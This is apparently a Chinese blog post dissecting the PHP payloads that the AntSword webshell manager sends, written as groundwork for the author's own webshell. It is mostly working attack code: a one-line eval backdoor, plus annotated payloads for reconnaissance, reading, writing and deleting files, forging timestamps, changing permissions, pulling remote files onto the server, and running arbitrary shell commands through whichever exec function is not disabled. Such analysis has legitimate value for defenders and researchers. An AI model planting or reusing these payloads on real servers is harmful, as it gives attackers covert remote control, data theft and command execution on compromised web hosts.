开始填新坑了,打算自己写一个 PHP webshell,找一些现有的例子进行分析。
老掉牙的菜刀在 PHP7 下连接都有问题,于是打算从 Cknife 和 AntSword 入手。
先用抓包的方式分析蚁剑的请求,如果以后有时间再啃一啃源码。
整个蚁剑功能的实现全部依赖木马,最简单的 PHP 一句话木马形如:
<?php @eval($_POST['C1nd3m0r']);?>
抓包后,我对请求中的代码进行解码并格式化,以注释的形式进行分析。
此篇文章主要关注在被控端执行的代码,抓包和解码的过程省略。
初次连接时获取系统基本信息
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "42ec6";//认证
//获取文件路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);//当前文件的绝对路径
if ($D == "")
{
$D = dirname($_SERVER["PATH_TRANSLATED"]);//另一种方法获得当前文件的绝对路径
//PATH_TRANSLATED 仅在 PATH_INFO 被定义的条件下才存在。
}
$R = "{$D} ";
//如果是 Windows 系统,确定有哪些盘
if (substr($D, 0, 1) != "/")
{
foreach (range("C", "Z") as $L)
if (is_dir("{$L}:"))
$R.= "{$L}:";
}
else
{
$R .= "/";
}
$R.= " ";
//获取当前用户的信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
//对于 Linux,优先使用 posix 扩展
$s = ($u) ? $u["name"] : @get_current_user();
//获取操作系统相关描述
$R.= php_uname();
$R.= " {$s}";
echo $R;;
echo "dd13c";//认证
die();
?>
展示目录内容
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "4629b";
$D = base64_decode($_POST["0x8c20dfe0a1ab8"]);//一并被 POST 上去的路径信息,被 Base64 编码过,参数名是随机生成的
$F = @opendir($D);//读取目录内容
if ($F == NULL)
{
echo ("ERROR:// Path Not Found Or No Permission!");
}
else
{
$M = NULL;
$L = NULL;
//遍历目录下文件名
while ($N = @readdir($F)) {
$P = $D . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));//文件修改时间
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);//获取八进制权限
$R = " " . $T . " " . @filesize($P) . " " . $E . "";//文件大小
if (@is_dir($P))
$M.= $N . "/" . $R;//标记文件夹
else
$L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo "7716e";
die();
?>
文本文件读取
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);echo "17277";
$F=base64_decode($_POST["0x8c20dfe0a1ab8"]);//被编码的文件名
$P=@fopen($F,"r");
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
echo "c89d9";
die();
?>
文件上传
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "9f725";
$f=base64_decode($_POST["0xd52299d22f3f1"]);//被编码的文件名
$c=$_POST["0x39abb7ad516b1"];//文件的某种编码,通过下面的方式可以解码
$c=str_replace("","",$c);//作用不明,也许是混淆
$c=str_replace("","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));//url解码,每两个字符一个百分号
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;//解码结果写入文件
echo "e9ee4";
die();
?>
文件删除
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "b7699";
function df($p)
{
$m=@dir($p);
while(@$f=$m->read())
{
$pf=$p."/".$f;
if((is_dir($pf))&&($f!=".")&&($f!=".."))
{
@chmod($pf,0777);
df($pf);
}
if(is_file($pf))
{
@chmod($pf,0777);
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
//若 PHP 版本高于 5.4,去掉反斜杠,意义不明,因为文件名的编码几乎不会出现反斜杠,可能是混淆。
$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
if(is_dir($F))
echo(df($F));//对文件夹的递归删除函数
else
{
echo(file_exists($F)?@unlink($F)?"1":"0":"0");
};
echo "36ae6";
die();
?>
重命名
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "7c39e";
//还是这个魔术字符函数,依然意义不明
$m=get_magic_quotes_gpc();
$src=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
$dst=base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]);
echo(rename($src,$dst)?"1":"0");;
echo "aa07b";
die();
?>
文件下载
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "880fd";
//编码的文件名
$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp))
{
@fclose($fp);
@readfile($F);
}
else
{
echo("ERROR:// Can Not Read");
};
echo "22718";
die();
?>
更改文件时间
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "bdb73";
$m=get_magic_quotes_gpc();
$FN=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
$TM=strtotime(base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]));
if(file_exists($FN))
{
echo(@touch($FN,$TM,$TM)?"1":"0");//访问时间和修改时间都改
}
else
{
echo("0");
};;
echo "9e9bc";
die();
?>
更改文件权限
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "208c8";
$m=get_magic_quotes_gpc();
$FN=base64_decode(m?stripslashes($_POST["0xd52299d22f3f1"]):$_POST["0xd52299d22f3f1"]);
$mode=base64_decode(m?stripslashes($_POST["0x39abb7ad516b1"]):$_POST["0x39abb7ad516b1"]);
echo(chmod($FN,octdec($mode))?"1":"0");;//八进制的权限码要转成十进制
echo "e5342";
die();
?>
wget
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "44d41";
$fR=base64_decode($_POST["0xd52299d22f3f1"]);//远程文件名
$fL=base64_decode($_POST["0x39abb7ad516b1"]);//本地文件名
//用 fopen 访问远程文件,要在 php.ini 中激活 allow_url_fopen
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L)
{
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
echo("1");
}
else
{
echo("0");
};;
echo "ee1ce";
die();
?>
新建文件
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "5969c";
//附带了写入的内容
echo @fwrite(fopen(base64_decode($_POST["0x4df015b81a76c"]),"w"),base64_decode($_POST["0x42d07bc8577b9"]))?"1":"0";;
echo "5adab";
die();
?>
新建文件夹
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "4a9c0";
$m=get_magic_quotes_gpc();
$f=base64_decode($m?stripslashes($_POST["0x4df015b81a76c"]):$_POST["0x4df015b81a76c"]);
echo(mkdir($f)?"1":"0");;//普通的 mkdir
echo "d35fd";
die();
?>
文件复制
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "2ab86";
$m=get_magic_quotes_gpc();
$fc=base64_decode($m?stripslashes($_POST["0x4df015b81a76c"]):$_POST["0x4df015b81a76c"]);
$fp=base64_decode($m?stripslashes($_POST["0x42d07bc8577b9"]):$_POST["0x42d07bc8577b9"]);
function xcopy($src,$dest)
{
if(is_file($src))
{
if(!copy($src,$dest))
return false;
else
return true;
}
$m=@dir($src);
if(!is_dir($dest))
if(!@mkdir($dest))
return false;
while($f=$m->read())
{
$isrc=$src.chr(47).$f;
$idest=$dest.chr(47).$f;
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46)))
{
if(!xcopy($isrc,$idest))//如果是文件夹,递归复制
return false;
}
else if(is_file($isrc))
{
if(!copy($isrc,$idest))
return false;
}
}
return true;
}
echo(xcopy($fc,$fp)?"1":"0");;
echo "ada2f";
die();
?>
虚拟终端
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "0f5b9";
//如果是 Linux:/bin/sh
//如果是 Windows: cmd
$p=base64_decode($_POST["0xc138ad96398d"]);
//如果是 Linux:cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]
//如果是 Windows: cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]
$s=base64_decode($_POST["0x334a9aede500d"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
//如果是 Linux:使用 -c "<指令>"
//如果是 Windows:使用 /c "<指令>"
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
//如果是 Linux:/bin/sh -c "cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]"
//如果是 Windows:cmd /c "cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]"
$r="{$p} {$c}";
function fe($f)
{
$d=explode(",",@ini_get("disable_functions"));//把不可用的函数拆成数组
if(empty($d))
{
$d=array();
}
else
{
$d=array_map('trim',array_map('strtolower',$d));//小写并去空格
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));//确保函数可用
};
function runcmd($c)
{
$ret=0;
//尝试调用各种外部命令执行函数
if(fe('system'))
{
@system($c,$ret);
}
elseif(fe('passthru'))
{
@passthru($c,$ret);
}
elseif(fe('shell_exec'))
{
print(@shell_exec($c));
}
elseif(fe('exec'))
{
@exec($c,$o,$ret);
print(join("",$o));
}
elseif (fe('popen'))
{
$fp=@popen($c,'r');
while(!@feof($fp))
{
print(@fgets($fp, 2048));
}
@pclose($fp);
}
else
{
$ret = 127;
}
return $ret;
};
//如果是 Linux:/bin/sh -c "cd "<终端运行的目录>";<输入的命令>;echo [S];pwd;echo [E]" 2>&1
//如果是 Windows:cmd /c "cd /d "<终端运行的目录>"&<输入的命令>&echo [S]&cd&echo [E]" 2>&1
$ret=@runcmd($r." 2>&1");//2>&1 表示把错误输出重定向到标准输出
print ($ret!=0)?"ret={$ret}":"";;//如果执行成功返回0
echo "dc8be";
die();
?>